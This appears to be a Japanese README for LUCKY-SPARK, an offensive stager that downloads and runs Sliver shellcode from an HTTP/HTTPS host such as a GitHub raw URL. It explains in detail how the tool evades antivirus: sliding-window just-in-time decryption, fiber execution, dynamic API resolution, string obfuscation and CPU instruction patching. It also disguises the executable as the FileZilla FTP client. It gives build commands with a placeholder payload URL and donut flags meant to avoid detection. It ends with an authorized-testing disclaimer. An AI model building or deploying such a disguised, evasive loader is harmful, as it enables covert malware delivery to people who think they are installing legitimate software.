LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ は、HTTP/HTTPS（Sliver や GitHub の raw など）でステージングされたシェルコードペイロード向けに設計されたステージャーです。最新の難読化と回避手法（スライディングウィンドウによるペイロードのジャストインタイム復号、CPU 命令パッチなど）を使用しています。デフォルトでは、FileZilla FTP クライアントを装った実行ファイルを作成します。

特徴

ステージングされた Sliver ペイロードローダー 指定されたサーバーから Sliver ペイロードをダウンロードして実行します。
JIT シェルコード復号 ペイロードのスライディングウィンドウのみを復号し、露出を最小限に抑えます。
ファイバーベースの実行 ファイバー内でシェルコードを実行し、ステルス性を向上させ、分析を困難にします。
動的 API 解決 疑わしい、または検出されやすい Windows API 関数は実行時に動的にロードされます。
文字列難読化 機密性の高い文字列（URL、ユーザーエージェントなど）はアフィン暗号で暗号化され、コンパイル済みバイナリに難読化されて保存されます。
CPU 命令パッチ AES CPU 命令は pmulqd などの疑わしくない CPU 命令の背後に隠され、実行後にパッチされます。
自動偽装 EXE は適切なマニフェスト、バージョン情報、アイコンを使用して自動的に FileZilla に偽装されます。
カスタマイズ可能なユーザーエージェント ネットワークリクエスト用のカスタム User-Agent 文字列の指定をサポートします。

インストール

リポジトリをクローンまたはダウンロードし、システムに make と mingw がインストールされていることを確認してください。

git clone <repository_url>
cd LUCKY-SPARK

使用方法

対話モード

バイナリ作成スクリプトを実行します。

./luckySpark.sh

ステージングされたペイロードの URL と、オプションの User-Agent の入力を求められます。

Interactive

一行モード

スクリプトに組み込めるように一行で実行できます：

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

One Line

ペイロードの推奨設定

donut または Sliver（donut を使用）を使用する場合、ペイロード作成には以下のフラグをお勧めします：

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

これにより、donut による疑わしい動作やフラグ付き動作を回避できます。特に皮肉なことに、donut の回避自体が非常にフラグされやすいです。

ローダーの実行

これにより filezilla.exe というバイナリが作成され、実行時にペイロードを取得して実行します。

ペイロードのステージング

このステージャーは Sliver での使用を想定して設計されています。ここで説明されているように Sliver ペイロードをステージングします Sliver Staging ペイロードを暗号化しないでください。

しかし、HTTP/HTTPS ベースのステージング方法ならどれでも動作します。 python3 -m http.server などまたは、GitHub.com の公開リポジトリにアップロードされたペイロード。

このステージャーは meterpreter ステージングプロトコルをサポートしていません。

スライディングウィンドウ JITD

Step 1: RIP hits Page 0 and Page 0 gets decrypted 
  Pages:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Step 2: RIP hits Page 1 and Page 1 gets decrypted 
  Pages:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Step 3: RIP hits Page 2 and Page 2 gets decrypted. Page 0 gets encrypted
  Pages:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

動作の仕組み：

RIP がガードされたページに達すると、VEH ハンドラがそのページを復号します。
3 ページのウィンドウ内で最も古いページが再暗号化されます。
最後の 2 ページのみが復号され、残りは保護されたままになります。
この「スライディングウィンドウ」はコードの実行に伴って RIP とともに移動します。

セキュリティと免責事項

LUCKY-SPARK は教育、研究、および許可されたペネトレーションテストのみを目的としています。許可なくシステムに対して不正に使用することは違法であり、非倫理的です。

Lucky-Spark

人気